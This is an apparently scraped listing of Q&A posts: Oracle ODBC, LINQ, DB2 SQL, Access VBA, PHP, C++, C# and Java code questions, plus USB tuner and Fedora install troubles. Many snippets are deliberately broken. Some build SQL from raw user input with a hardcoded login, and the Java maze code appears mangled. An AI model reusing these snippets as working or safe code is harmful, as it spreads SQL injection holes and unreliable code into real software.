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  • Distributed Computing - Hybrid Systems Considerations

    When the Cloud was new, it was often presented as an 'all or nothing' solution. Nowadays, the canny Systems Architect will exploit the best advantages of 'cloud' distributed computing in the right place, and use in-house services where most appropriate. So what are the issues that govern these architectural decisions? What can SQL Monitor 3.2 monitor?Whatever you think is most important. Use custom metrics to monitor and alert on data that's most important for your environment. Find out more.

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  • Microsoft ODBC driver for Oracle Syntax error or access violation (-2147217900)

    - by Jan
    I have a large VB program that connects to Oracle database. strCn = "Driver={Microsoft ODBC for Oracle};" & _ "SERVER=PSPROD;" Set Cn = New ADODB.Connection Cn.ConnectionString = strCn Cn.CursorLocation = adUseNone Cn.Open There are many users of my program so I have a table that contains each user's login name and their access rights to the various tables. I create a recordset of all users when the program is started and then select USERNAME and GRANTED_ROLE from the record set where USERNAME and PASSWORD are found. I use a "Set role 'GRANTED_ROLE' identified by 'password'" statment and Cn.Execute statement to set up the user's access rights. This is all done in a Module. On a form, I want to call a Stored Procedure that will SELECT, INSERT and UPDATE information into another schema's tables. I am able to call and run the stored procedure when I create a new connection to the database with this code: Dim cmd5040 As ADODB.Command Dim conn5040 As ADODB.Connection Dim param5040 As ADODB.Parameter Set conn5040 = New ADODB.Connection conn5040 = "Driver={Microsoft ODBC for Oracle};" & _ "SERVER=PSPROD; UID=XXXXXXX; PWD=XXXXXXXX" conn5040.Open Set cmd5040 = New ADODB.Command With cmd5040 .ActiveConnection = conn5040 .CommandType = adCmdStoredProc .CommandText = "S4115040_IMPORT_NEWBIDITEMSPES.S4115040_CheckTime" .Parameters.Append .CreateParameter(, adInteger, adParamInputOutput, 5) .Parameters.Append .CreateParameter(, adVarChar, adParamInputOutput, 400) End With cmd5040(0) = 0 cmd5040(1) = "" cmd5040.CommandTimeout = 300 cmd5040.Execute conn5040.Close However, I get the error message "-2147217900 [Microsoft][ODCB driver for Oracle]Syntax error or access violation" when I attempt to use the same connection ('Cn') when the program first started. My code is: Dim cmd5040 As ADODB.Command Dim param5040 As ADODB.Parameter Set cmd5040 = New ADODB.Command With cmd5040 .ActiveConnection = Cn .CommandType = adCmdStoredProc .CommandText = "S4115040_IMPORT_NEWBIDITEMSPES.S4115040_CheckTime" .Parameters.Append .CreateParameter(, adInteger, adParamInputOutput, 5) .Parameters.Append .CreateParameter(, adVarChar, adParamInputOutput, 400) End With cmd5040(0) = 0 cmd5040(1) = "" cmd5040.Execute I have worked with my DBA. She has given me direct grants and direct execute privliges and I am still get the error message. What am I doing wrong? Should I be able to use the original connection to run a stored procedure? Or must I create a second connection?

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  • How to create Query syntax for multiple DataTable for implementing IN operator of Sql Server

    - by Shantanu Gupta
    I have fetched 3-4 tables by executing my stored procedure. Now they resides on my dataset. I have to maintain this dataset for multiple forms and I am not doing any DML operation on this dataset. Now this dataset contains 4 tables out of which i have to fetch some records to display data. Data stored in tables are in form of one to many relationship. i.e. In case of transactions. N records per record. Then these N records are further mapped to M records of 3rd table. Table 1 MAP_ID GUEST_ID DEPARTMENT_ID PARENT_ID PREFERENCE_ID -------------------- -------------------- -------------------- -------------------- -------------------- 19 61 1 1 5 14 61 1 5 15 15 61 2 4 10 18 61 2 13 23 17 61 2 20 26 16 61 40 40 41 20 62 1 5 14 21 62 1 5 15 22 62 1 6 16 24 62 2 3 4 23 62 2 4 9 27 62 2 13 23 25 62 2 20 24 26 62 2 20 25 28 63 1 1 5 29 63 1 1 8 34 63 1 5 15 30 63 2 4 10 33 63 2 4 11 31 63 2 13 23 32 63 40 40 41 35 65 1 NULL 1 36 65 1 NULL 1 38 68 2 13 22 37 68 2 20 25 39 68 2 23 27 40 92 1 NULL 1 Table 2 Department_ID Department_Name Parent_Id Parent_Name -------------------- ----------------------- --------------- ---------------------------------------------------------------------------------- 1 Food 1, 5, 6 Food, North Indian, South Indian 2 Lodging 3, 4, 13, 20, 23 Room, Floor, Non Air Conditioned, With Balcony, Without Balcony 40 New 40 SubNew TABLE 3 Parent_Id Parent_Name Preference_ID Preference_Name -------------------- ----------------------------------------------- ----------------------- ------------------- NULL NULL NULL NULL 1 Food 5, 8 North Indian, Italian 3 Room 4 Floor 4 Floor 9, 10, 11 First, Second, Third 5 North Indian 14, 15 X, Y 6 South Indian 16 Dosa 13 Non Air Conditioned 22, 23 With Balcony, Without Balcony 20 With Balcony 24, 25, 26 Mountain View, Ocean View, Garden View 23 Without Balcony 27 Mountain View 40 New 41 SubNew I have these 3 tables that are related in some fashion like this. Table 1 will be the master for these 2 tables i.e. table 2 and table 3. I need to query on them as SELECT Department_Id, Department_Name, Parent_Name FROM Table2 WHERE Department_Id in ( SELECT Department_Id FROM Table1 WHERE guest_id=65 ) SELECT Parent_Id, Parent_Name, Preference_Name FROM Table3 WHERE PARENT_ID in ( SELECT parent_id FROM Table1 WHERE guest_id=65 ) Now I need to use these queries on DataTables. So I am using Query Syntax for this and reached up to this point. var dept_list= from dept in DtMapGuestDepartment.AsEnumerable() where dept.Field<long>("PK_GUEST_ID")==long.Parse(63) select dept; This should give me the list of all departments that has guest id =63 Now I want to select all departments_name and parent_name from Table 2 where guest_id=63 i.e. departments that i fetched above. This same case will be followed for Table3. Please suggest how to do this. Thanks for keeping up patience for reading my question.

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  • SQL Select syntax error

    - by Odette
    hi guys thanks for your help yesterday. I am now trying to incorporate the query from yesterday into an existing query so I can show the highest itemcode's reporting group in the existing query..but I have a syntax error somewhere at my Select statement. ERROR: Keyword SELECT not expected. I have tried putting brackets at every possible place but still no go..can you please help? (ps-this whole query has been giving me nightmares!) WITH CALC1 AS (SELECT OTQUOT, OTIT01 AS ITEMS, ROUND(OQCQ01 * OVRC01,2) AS COST FROM @[email protected] WHERE OTIT01 < '' UNION ALL SELECT OTQUOT, OTIT02 AS ITEMS, ROUND(OQCQ02 * OVRC02,2) AS COST FROM @[email protected] WHERE OTIT02 < '' UNION ALL SELECT OTQUOT, OTIT03 AS ITEMS, ROUND(OQCQ03 * OVRC03,2) AS COST FROM @[email protected] WHERE OTIT03 < '' UNION ALL SELECT OTQUOT, OTIT04 AS ITEMS, ROUND(OQCQ04 * OVRC04,2) AS COST FROM @[email protected] WHERE OTIT04 < '' UNION ALL SELECT OTQUOT, OTIT05 AS ITEMS, ROUND(OQCQ05 * OVRC05,2) AS COST FROM @[email protected] WHERE OTIT05 < '' UNION ALL SELECT OTQUOT, OTIT06 AS ITEMS, ROUND(OQCQ06 * OVRC06,2) AS COST FROM @[email protected] WHERE OTIT06 < '' UNION ALL SELECT OTQUOT, OTIT07 AS ITEMS, ROUND(OQCQ07 * OVRC07,2) AS COST FROM @[email protected] WHERE OTIT07 < '' UNION ALL SELECT OTQUOT, OTIT08 AS ITEMS, ROUND(OQCQ08 * OVRC08,2) AS COST FROM @[email protected] WHERE OTIT08 < '' UNION ALL SELECT OTQUOT, OTIT09 AS ITEMS, ROUND(OQCQ09 * OVRC09,2) AS COST FROM @[email protected] WHERE OTIT09 < '' UNION ALL SELECT OTQUOT, OTIT10 AS ITEMS, ROUND(OQCQ10 * OVRC10,2) AS COST FROM @[email protected] WHERE OTIT10 < '' ) (SELECT OTQUOT, DESC FROM ( SELECT OTQUOT, ITEMS, B.IXRPGP AS GROUP, C.OTRDSC AS DESC, COST, ROW_NUMBER() OVER (ORDER BY COST DESC) AS RN FROM CALC1 AS A INNER JOIN @[email protected] AS B ON (A.ITEMS = B.IKITMC) INNER JOIN DATAGRP.GDSGRP AS C ON (B.IXRPGP = C.OKRPGP) ) T WHERE T.RN = 1) SELECT A.OKPBRN, A.OCAREA, A.OTCCDE, A.OTCNAM, A.OTSMAN, A.OKPBRN||A.OAPNUM AS OTQUOT, A.OTONUM, A.OTCAD1, A.OTCAD2, A.OTCAD3, A.OTPCDE, A.OTDEL1, A.OTDEL2, A.OTDEL3, CHAR(DATE(CASE WHEN SUBSTR(A.ODOQDT,5,4) = '0000' THEN '0001' ELSE SUBSTR(A.ODOQDT,5,4) END ||'-'|| CASE WHEN SUBSTR(A.ODOQDT,4,2) = '00' THEN '01' ELSE SUBSTR(A.ODOQDT,3,2) END ||'-'|| CASE WHEN SUBSTR(A.ODOQDT,1,2) = '00' THEN '01' ELSE SUBSTR(A.ODOQDT,1,2) END), ISO) AS ODOQDT_CCYYMMDD, CHAR(DATE(CASE WHEN SUBSTR(A.ODDELD,7,2) = '' THEN '0001' ELSE '20'||SUBSTR(A.ODDELD,7,2) END ||'-'|| CASE WHEN SUBSTR(A.ODDELD,4,2) = '' THEN '01' ELSE SUBSTR(A.ODDELD,4,2) END ||'-'|| CASE WHEN SUBSTR(A.ODDELD,1,2) = '' THEN '01' ELSE SUBSTR(A.ODDELD,1,2) END), ISO) AS ODDELD_CCYYMMDD, B.DESC, A.OVQTVL FROM @[email protected] AS A INNER JOIN CALC1 AS B ON (A.OKPBRN||A.OAPNUM = B.OTQUOT) WHERE A.OKPBRN = '@OKPBRN@' AND A.OTCCDE NOT LIKE '*DEP%' AND CHAR(DATE(CASE WHEN SUBSTR(A.ODOQDT,5,4) = '0000' THEN '0001' ELSE SUBSTR (A.ODOQDT,5,4) END ||'-'|| CASE WHEN SUBSTR(A.ODOQDT,4,2) = '00' THEN '01' ELSE SUBSTR(A.ODOQDT,3,2) END ||'-'|| CASE WHEN SUBSTR(A.ODOQDT,1,2) = '00' THEN '01' ELSE SUBSTR(A.ODOQDT,1,2) END), ISO) = CHAR(CURDATE() - 3 MONTH, ISO) AND A.OCQF01 = '0' AND A.OCQF02 = '0' AND A.OCQF04 = '0' AND A.OCQF05 = '0' AND A.OCQF06 = '0' AND A.OCQF07 = '0' AND A.OCQF08 = '0' AND A.OCQF09 = '0' AND A.OCQF10 = '1' AND A.OTCGRP LIKE 'S/%' ORDER BY A.OTSMAN ASC, A.OVQTVL DESC, CHAR(DATE(CASE WHEN SUBSTR(A.ODDELD,7,2) = '' THEN '0001' ELSE '20'||SUBSTR(A.ODDELD,7,2) END ||'-'|| CASE WHEN SUBSTR(A.ODDELD,4,2) = '' THEN '01' ELSE SUBSTR(A.ODDELD,4,2) END ||'-'|| CASE WHEN SUBSTR(A.ODDELD,1,2) = '' THEN '01' ELSE SUBSTR(A.ODDELD,1,2) END),ISO) ASC

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  • Getting SQL Syntax Error in INSERT INTO statement in Access 2010

    - by hello123
    I have written the following Insert Into statement in Access 2010 VBA: Private Sub AddBPSSButton_Click() ' CurrentDb.Execute "INSERT INTO TabClearDetail(C_Site) VALUES(" & Me.C_Site & ")" Dim strSQL As String 'MsgBox Me.[Clearance Applying For] 'MsgBox Me.[Contract Applying for] 'MsgBox Me.[C_Site] 'MsgBox Me.[C_SponsorSurname] 'MsgBox Me.[C_SponsorForename] 'MsgBox Me.[C_SponsorContactDetails] 'MsgBox Me.[C_EmploymentDetail] 'MsgBox Me.[C_SGNumber] 'MsgBox Me.[C_REF1DateRecd] 'MsgBox Me.[C_REF2DateRecd] 'MsgBox Me.[C_IDDateRecd] 'MsgBox Me.[C_IDNum] 'MsgBox Me.[C_CriminalDeclarationDate] 'MsgBox Me.[Credit Check Consent] 'MsgBox Me.[C_CreditCheckDate] 'MsgBox Me.[Referred for Management Decision] 'MsgBox Me.[Management Decision Date] 'MsgBox Me.[C_Comment] 'MsgBox Me.[C_DateCleared] 'MsgBox Me.[C_ClearanceLevel] 'MsgBox Me.[C_ContractAssigned] 'MsgBox Me.[C_ExpiryDate] 'MsgBox Me.[C_LinKRef] 'MsgBox Me.[C_OfficialSecretsDate] strSQL = "INSERT INTO TabClearDetail(Clearance Applying For, Contract Applying for, " & _ "C_Site, C_SponsorSurname, C_SponsorForename, C_SponsorContactDetails, C_EmploymentDetail, " & _ "C_SGNumber, C_REF1DateRecd, C_RED2DateRecd, C_IDDateRecd, C_IDNum, " & _ "C_CriminalDeclarationDate, Credit Check Consent, C_CreditCheckDate, Referred for Management Decision, " & _ "Management Decision Date, C_Comment, C_DateCleared, C_ClearanceLevel, C_ContractAssigned, " & _ "C_ExpiryDate, C_LinkRef, C_OfficialSecretsDate) VALUES('" & Me.[Clearance Applying For] & "', " & _ "'" & Me.[Contract Applying for] & "', '" & Me.[C_Site] & "', '" & Me.[C_SponsorSurname] & "', " & _ "'" & Me.[C_SponsorForename] & "', '" & Me.[C_SponsorContactDetails] & "', " & _ "'" & Me.[C_EmploymentDetail] & "', '" & Me.[C_SGNumber] & "', '" & Me.[C_REF1DateRecd] & "', " & _ "'" & Me.[C_REF2DateRecd] & "', '" & Me.[C_IDDateRecd] & "', '" & Me.[C_IDNum] & "', " & _ "'" & Me.[C_CriminalDeclarationDate] & "', '" & Me.[Credit Check Consent] & "', '" & Me.[C_CreditCheckDate] & "', " & _ "'" & Me.[Referred for Management Decision] & "', '" & Me.[Management Decision Date] & "', " & _ "'" & Me.[C_Comment] & "', '" & Me.[C_DateCleared] & "', '" & Me.[C_ClearanceLevel] & "', " & _ "'" & Me.[C_ContractAssigned] & "', '" & Me.[C_ExpiryDate] & "', '" & Me.[C_LinKRef] & "', " & _ "'" & Me.[C_OfficialSecretsDate] & "');" DoCmd.RunSQL (strSQL) 'MsgBox strSQL End Sub All The MsgBox calls work, so I believe I have typed all column names and text box names correctly. I am getting a Syntax error when I get to the DoCmd.RunSQL line. Have been staring at this for quite a while trying to see if I have missed a comma or speech mark or something, but am hoping maybe another set of eyes will see my mistake. Any help will be greatly appreciated. Thanks!

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  • Code review - PHP syntax error unexpected $end

    - by dtufano
    Hey guys! I keep getting a syntax error (unexpected $end), and I've isolated it to this chunk of code. I can't for the life of me see any closure issues. It's probably something obvious but I'm going nutty trying to find it. Would appreciate an additional set of eyes. function generate_pagination( $base_url, $num_items, $per_page, $start_item, $add_prevnext_text = TRUE ) { global $lang; if ( $num_items == 0 ) { } else { $total_pages = ceil( $num_items / $per_page ); if ( $total_pages == 1 ) { return ""; } $on_page = floor( $start_item / $per_page ) + 1; $page_string = ""; if ( 8 < $total_pages ) { $init_page_max = 2 < $total_pages ? 2 : $total_pages; $i = 1; for ( ; $i < $init_page_max + 1; ++$i ) { $page_string .= $i == $on_page ? "<font face='verdana' size='2'><b>[{$i}]</b></font>" : "<a href=\"".$base_url."&amp;offset=".( $i - 1 ) * $per_page."\">{$i}</a>"; if ( $i < $init_page_max ) { $page_string .= ", "; } } if ( 2 < $total_pages ) { if ( 1 < $on_page && $on_page < $total_pages ) { $page_string .= 4 < $on_page ? " ... " : ", "; $init_page_min = 3 < $on_page ? $on_page : 4; $init_page_max = $on_page < $total_pages - 3 ? $on_page : $total_pages - 3; $i = $init_page_min - 1; for ( ; $i < $init_page_max + 2; ++$i ) { $page_string .= $i == $on_page ? "<font face='verdana' size='2'><b>[{$i}]</b></font>" : "<a href=\"".$base_url."&amp;offset=".( $i - 1 ) * $per_page."\">{$i}</a>"; if ( $i < $init_page_max + 1 ) { $page_string .= ", "; } } $page_string .= $on_page < $total_pages - 3 ? " ... " : ", "; } else { $page_string .= " ... "; } $i = $total_pages - 1; for ( ; $i < $total_pages + 1; ++$i ) { $page_string .= $i == $on_page ? "<font face='verdana' size='2'><b>[{$i}]</b></font>" : "<a href=\"".$base_url."&amp;offset=".( $i - 1 ) * $per_page."\">{$i}</a>"; if ( $i < $total_pages ) { $page_string .= ", "; } } continue; } } else { do { $i = 1; for ( ; $i < $total_pages + 1; ++$i) { $page_string .= $i == $on_page ? "<font face='verdana' size='2'><b>[{$i}]</b></font>" : "<a href=\"".$base_url."&amp;offset=".( $i - 1 ) * $per_page."\">{$i}</a>"; if ( $i < $total_pages ) { $page_string .= ", "; break; } } } while (0); if ( 1 < $on_page ) { $page_string = " <font size='2'><a href=\"".$base_url."&amp;offset=".( $on_page - 2 ) * $per_page."\">"."&laquo;"."</a></font>&nbsp;&nbsp;".$page_string; } if ( $on_page < $total_pages ) { $page_string .= "&nbsp;&nbsp;<font size='2'><a href=\"".$base_url."&amp;offset=".$on_page * $per_page."\">"."&raquo;"."</a></font>"; } $page_string = "Pages ({$total_pages}):"." ".$page_string; return $page_string; } }

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  • Simple syntax error still eluding me.

    - by melee
    Here is the header for a class I started: #ifndef CANVAS_ #define CANVAS_ #include <iostream> #include <iomanip> #include <string> #include <stack> class Canvas { public: Canvas(); void Paint(int R, int C, char Color); const int Nrow; const int Ncol; string Title; int image[][100]; stack<int> path; struct PixelCoordinates { unsigned int r; unsigned int c; } position; Canvas operator<< (const Canvas& One ); Canvas operator>>( Canvas& One ); }; /*----------------------------------------------------------------------------- Name: operator<< Purpose: Put a Canvas into an output stream -----------------------------------------------------------------------------*/ ostream& operator<<( ostream& Out, const Canvas& One ) { Out << One.Title << endl; Out << "Rows: " << One.Nrow << " Columns: " << One.Ncol << endl; int i,j; for( i=0; i<One.Nrow; i++) { cout<<"\n\n\n"; cout<< " COLUMN\n"; cout<< " 1 2 3"; for(i=0;i<One.Nrow;i++) { cout<<"\nROW "<<i+1; for(j=0;j<One.Ncol;j++) cout<< One.image[i][j]; } } return Out; } /*----------------------------------------------------------------------------- Name: operator>> Purpose: Get a Canvas from an input stream -----------------------------------------------------------------------------*/ istream& operator>>( istream& In, Canvas& One ) { // string Line; // int Place = 0; // { // In >> Line; // if (In.good()) // { // One.image[Place][0] = Line; // Place++; // } // return In; #endif Here is my implementation file for class Canvas: using namespace std; #include <iostream> #include <iomanip> #include <string> #include <stack> #include "proj05.canvas.h" //----------------Constructor----------------// Canvas::Canvas() { Title = ""; Nrow = 0; Ncol = 0; image[][100] = {}; position.r = 0; position.c = 0; } //-------------------Paint------------------// void Canvas::Paint(int R, int C, char Color) { cout << "Paint to be implemented" << endl; } And the errors I'm getting are these: proj05.canvas.cpp: In function 'std::istream& operator>>(std::istream&, Canvas&)': proj05.canvas.cpp:11: error: expected `;' before '{' token proj05.canvas.cpp:24: error: expected `}' at end of input From my limited experience, they look like simple syntax errors but for the life of me, I cannot see what I am missing. I know putting a ; at the end of Canvas::Canvas() is wrong but that seems to be what it expects. Could someone please clarify for me? (Also, I know much of the code for the << and operator definitions look terrible, but unless that is the specific reason for the error please do not address it. This is a draft :) )

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  • php syntax error

    - by Jacksta
    I have 3 files 1) show_createtable.html 2) do_showfielddef.php 3) do_showtble.php 1) First file is for creating a new table for a data base, it is a fom with 2 inputs, Table Name and Number of Fields. THIS WORKS FINE! <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> </head> <body> <h1>Step 1: Name and Number</h1> <form method="post" action="do_showfielddef.php" /> <p><strong>Table Name:</strong><br /> <input type="text" name="table_name" size="30" /></p> <p><strong>Number of fields:</strong><br /> <input type="text" name="num_fields" size="30" /></p> <p><input type="submit" name="submit" value="go to step2" /></p> </form> </body> </html> 2) this script validates fields and createa another form to enter all the table rows. This for also WORKS FINE! <?php //validate important input if ((!$_POST[table_name]) || (!$_POST[num_fields])) { header( "location: show_createtable.html"); exit; } //begin creating form for display $form_block = " <form action=\"do_createtable.php\" method=\"post\"> <input name=\"table_name\" type=\"hidden\" value=\"$_POST[table_name]\"> <table cellspacing=\"5\" cellpadding=\"5\"> <tr> <th>Field Name</th><th>Field Type</th><th>Table Length</th> </tr>"; //count from 0 until you reach the number fo fields for ($i = 0; $i <$_POST[num_fields]; $i++) { $form_block .=" <tr> <td align=center><input type=\"texr\" name=\"field name[]\" size=\"30\"></td> <td align=center> <select name=\"field_type[]\"> <option value=\"char\">char</option> <option value=\"date\">date</option> <option value=\"float\">float</option> <option value=\"int\">int</option> <option value=\"text\">text</option> <option value=\"varchar\">varchar</option> </select> </td> <td align=center><input type=\"text\" name=\"field_length[]\" size=\"5\"> </td> </tr>"; } //finish up the form $form_block .= " <tr> <td align=center colspan=3><input type =\"submit\" value=\"create table\"> </td> </tr> </table> </form>"; ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Create a database table: Step 2</title> </head> <body> <h1>defnie fields for <? echo "$_POST[table_name]"; ?> </h1> <? echo "$form_block"; ?> </body> </html> Problem is here 3) this form creates the tables and enteres them into the database. I am getting an error on line 37 "Parse error: syntax error, unexpected $end in /home/admin/domains/domaina.com.au/public_html/do_createtable.php on line 37" <? $db_name = "testDB"; $connection = @mysql_connect("localhost", "admin_user", "pass") or die(mysql_error()); $db = @mysql_select_db($db_name, $connection) or die(mysql_error()); $sql = "CREATE TABLE $_POST[table_name]("; for ($i = 0; $i < count($_POST[field_name]); $i++) { $sql .= $_POST[field_name][$i]." ".$_POST[field_type][$i]; if ($_POST[field_length][$i] !="") { $sql .=" (".$_POST[field_length][$i]."),"; } else { $sql .=","; } $sql = substr($sql, 0, -1); $sql .= ")"; $result = mysql_query($sql, $connection) or die(mysql_error()); if ($result) { $msg = "<p>" .$_POST[table_name]." has been created!</p>"; ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Create A Database Table: Step 3</title> </head> <body> <h1>Adding table to <? echo "$db_name"; ?>...</h1> <? echo "$msg"; ?> </body> </html>

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  • [Mac OS X] Terratec Cinergy Hybrid T USB XS is not recognized anymore

    - by Gabble
    I have used Terratec Cinergy Hybrid T USB XS for years now, alongside with Elgato EyeTV software. I am a happy and completely satisfied user! Since a couple of weeks the USB sitck stopped working on my MacPro1,1 (OS version 10.6.3): EyeTV does not see any device attached, and actually, the green led on the stick stays off. 1) it is not a USB port fault: I have unplugged any other USB/Firewire device and tried with different USB ports, to no avail (any other USB devices work as expected on any port) 2) I have completely uninstalled EyeTV software, including preferences and system daemons/extensions, rebooted and reinstalled the latest EyeTV. No way. 3) reset the PRAM. Nope. 4) checked the Apple System Profiler - USB: No device attached, The MacPro does not see it at all. ============= I need to say that: a) the device worked as a charm even with the latest OS 10.6.x (so it's not a OS upgrade cause) b) I have plugged the Terratec Cinergy Hybrid T USB XS to my MacBook5,1 where EyeTV is not installed and was never installed: The green led on the stick turns on, the growl bubble pops up, and the device is perfectly recognized by the system. Apple System Profiler says (sorry, Italian language): Cinergy Hybrid T USB XS (2882): ID prodotto: 0x005e ID fornitore: 0x0ccd Versione: 1.10 Numero di serie: 061102005755 Velocità: Fino a 12 Mb/sec Produttore: TerraTec Electronic GmbH ID posizione: 0x04100000 Corrente disponibile (mA): 500 Corrente necessaria (mA): 500 At this point I am pretty sure the Terratec stick is not damaged and there is something wrong with my MacPro. I kindly ask you: Is there a way to force my MacPro recognize the USB device? What can I check? Is there something that caches USB connection that can be reset? A OS reinstall would be the very last resort for me… Thanks in advance for any help you will offer!

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  • Terratec Cinergy Hybrid T USB XS is not recognized anymore on Mac OS X

    - by Gabble
    I have used Terratec Cinergy Hybrid T USB XS for years now, alongside with Elgato EyeTV software. I am a happy and completely satisfied user! Since a couple of weeks the USB sitck stopped working on my MacPro1,1 (OS version 10.6.3): EyeTV does not see any device attached, and actually, the green led on the stick stays off. It is not a USB port fault: I have unplugged any other USB/Firewire device and tried with different USB ports, to no avail (any other USB devices work as expected on any port) I have completely uninstalled EyeTV software, including preferences and system daemons/extensions, rebooted and reinstalled the latest EyeTV. No way. Reset the PRAM. Nope. Checked the Apple System Profiler - USB: No device attached, The MacPro does not see it at all. I need to say that: a) The device worked as a charm even with the latest OS 10.6.x (so it's not a OS upgrade cause). b) I have plugged the Terratec Cinergy Hybrid T USB XS to my MacBook5,1 where EyeTV is not installed and was never installed: The green led on the stick turns on, the growl bubble pops up, and the device is perfectly recognized by the system. Apple System Profiler says (sorry, Italian language): Cinergy Hybrid T USB XS (2882): ID prodotto: 0x005e ID fornitore: 0x0ccd Versione: 1.10 Numero di serie: 061102005755 Velocità: Fino a 12 Mb/sec Produttore: TerraTec Electronic GmbH ID posizione: 0x04100000 Corrente disponibile (mA): 500 Corrente necessaria (mA): 500 At this point I am pretty sure the Terratec stick is not damaged and there is something wrong with my MacPro. I kindly ask you: Is there a way to force my MacPro recognize the USB device? What can I check? Is there something that caches USB connection that can be reset? A OS reinstall would be the very last resort for me. Thanks in advance for any help you will offer!

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  • Compatibility of Fedora install on a Hybrid drive

    - by kjh
    I recently bought un ultrabook with a 500gb/32gb sdd hdd hybrid drive, and I'm having trouble replacing windows on it with fedora seventeen. it errors out saying there was an unhandled exception. Is linux compatible with hybrid drives? or can the operating system on a hybrid drive not be replaced? Edit: here are the steps I select special storage devices because it ignores my hard drives otherwise at this point i get the message: "Disk contains bios raid meta data, disk sda will be ignored" I can pick a hostname, select my timezone and set a password at the install type screen, no matter what I select (use all free space, replace linux systems, create custom partition etc..) once I click next, it says "an unhandled exception" has occured. and I can no longer proceed with installation. Here is the error message: anaconda 17.29 exception report Traceback (most recent call first); File "/usr/lib64/python2.7/size-packages/pyanaconda/bootloader.py"; line 183 self.stage1_drive=self_drives[0] File "/usr/lib64/python2.7/site-packages/pyanaconda/rw/cleardisks_gui.ph"; line... and tons of more lines like that

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  • "Enumeration yielded no results" When using Query Syntax in C#

    - by Shantanu Gupta
    I have created this query to fetch some result from database. Here is my table structure. What exaclty is happening. DtMapGuestDepartment as Table 1 DtDepartment as Table 2 Are being used var dept_list= from map in DtMapGuestDepartment.AsEnumerable() where map.Field<Nullable<long>>("GUEST_ID") == DRowGuestPI.Field<Nullable<long>>("PK_GUEST_ID") join dept in DtDepartment.AsEnumerable() on map.Field<Nullable<long>>("DEPARTMENT_ID") equals dept.Field<Nullable<long>>("DEPARTMENT_ID") select dept.Field<string>("DEPARTMENT_ID"); I am performing this query on DataTables and expect it to return me a datatable. Here I want to select distinct department from Table 1 as well which will be my next quest. Please answer to that also if possible.

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  • C#: Delegate syntax?

    - by Rosarch
    I'm developing a game. I want to have game entities each have their own Damage() function. When called, they will calculate how much damage they want to do: public class CombatantGameModel : GameObjectModel { public int Health { get; set; } /// <summary> /// If the attack hits, how much damage does it do? /// </summary> /// <param name="randomSample">A random value from [0 .. 1]. Use to introduce randomness in the attack's damage.</param> /// <returns>The amount of damage the attack does</returns> public delegate int Damage(float randomSample); public CombatantGameModel(GameObjectController controller) : base(controller) {} } public class CombatantGameObject : GameObjectController { private new readonly CombatantGameModel model; public new virtual CombatantGameModel Model { get { return model; } } public CombatantGameObject() { model = new CombatantGameModel(this); } } However, when I try to call that method, I get a compiler error: /// <summary> /// Calculates the results of an attack, and directly updates the GameObjects involved. /// </summary> /// <param name="attacker">The aggressor GameObject</param> /// <param name="victim">The GameObject under assault</param> public void ComputeAttackUpdate(CombatantGameObject attacker, CombatantGameObject victim) { if (worldQuery.IsColliding(attacker, victim, false)) { victim.Model.Health -= attacker.Model.Damage((float) rand.NextDouble()); // error here Debug.WriteLine(String.Format("{0} hits {1} for {2} damage", attacker, victim, attackTraits.Damage)); } } The error is: 'Damage': cannot reference a type through an expression; try 'HWAlphaRelease.GameObject.CombatantGameModel.Damage' instead What am I doing wrong?

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  • Confusing Java syntax...

    - by posfan12
    I'm trying to convert the following code (from Wikipedia) from Java to JavaScript: /* * 3 June 2003, [[:en:User:Cyp]]: * Maze, generated by my algorithm * 24 October 2006, [[:en:User:quin]]: * Source edited for clarity * 25 January 2009, [[:en:User:DebateG]]: * Source edited again for clarity and reusability * 1 June 2009, [[:en:User:Nandhp]]: * Source edited to produce SVG file when run from the command-line * * This program was originally written by [[:en:User:Cyp]], who * attached it to the image description page for an image generated by * it on en.wikipedia. The image was licensed under CC-BY-SA-3.0/GFDL. */ import java.awt.*; import java.applet.*; import java.util.Random; /* Define the bit masks */ class Constants { public static final int WALL_ABOVE = 1; public static final int WALL_BELOW = 2; public static final int WALL_LEFT = 4; public static final int WALL_RIGHT = 8; public static final int QUEUED = 16; public static final int IN_MAZE = 32; } public class Maze extends java.applet.Applet { /* The width and height (in cells) of the maze */ private int width; private int height; private int maze[][]; private static final Random rnd = new Random(); /* The width in pixels of each cell */ private int cell_width; /* Construct a Maze with the default width, height, and cell_width */ public Maze() { this(20,20,10); } /* Construct a Maze with specified width, height, and cell_width */ public Maze(int width, int height, int cell_width) { this.width = width; this.height = height; this.cell_width = cell_width; } /* Initialization method that will be called when the program is * run from the command-line. Maze will be written as SVG file. */ public static void main(String[] args) { Maze m = new Maze(); m.createMaze(); m.printSVG(); } /* Initialization method that will be called when the program is * run as an applet. Maze will be displayed on-screen. */ public void init() { createMaze(); } /* The maze generation algorithm. */ private void createMaze(){ int x, y, n, d; int dx[] = { 0, 0, -1, 1 }; int dy[] = { -1, 1, 0, 0 }; int todo[] = new int[height * width], todonum = 0; /* We want to create a maze on a grid. */ maze = new int[width][height]; /* We start with a grid full of walls. */ for (x = 0; x < width; ++x) { for (y = 0; y < height; ++y) { if (x == 0 || x == width - 1 || y == 0 || y == height - 1) { maze[x][y] = Constants.IN_MAZE; } else { maze[x][y] = 63; } } } /* Select any square of the grid, to start with. */ x = 1 + rnd.nextInt (width - 2); y = 1 + rnd.nextInt (height - 2); /* Mark this square as connected to the maze. */ maze[x][y] &= ~48; /* Remember the surrounding squares, as we will */ for (d = 0; d < 4; ++d) { if ((maze[][d][][d] & Constants.QUEUED) != 0) { /* want to connect them to the maze. */ todo[todonum++] = ((x + dx[d]) << Constants.QUEUED) | (y + dy[d]); maze[][d][][d] &= ~Constants.QUEUED; } } /* We won't be finished until all is connected. */ while (todonum > 0) { /* We select one of the squares next to the maze. */ n = rnd.nextInt (todonum); x = todo[n] >> 16; /* the top 2 bytes of the data */ y = todo[n] & 65535; /* the bottom 2 bytes of the data */ /* We will connect it, so remove it from the queue. */ todo[n] = todo[--todonum]; /* Select a direction, which leads to the maze. */ do { d = rnd.nextInt (4); } while ((maze[][d][][d] & Constants.IN_MAZE) != 0); /* Connect this square to the maze. */ maze[x][y] &= ~((1 << d) | Constants.IN_MAZE); maze[][d][][d] &= ~(1 << (d ^ 1)); /* Remember the surrounding squares, which aren't */ for (d = 0; d < 4; ++d) { if ((maze[][d][][d] & Constants.QUEUED) != 0) { /* connected to the maze, and aren't yet queued to be. */ 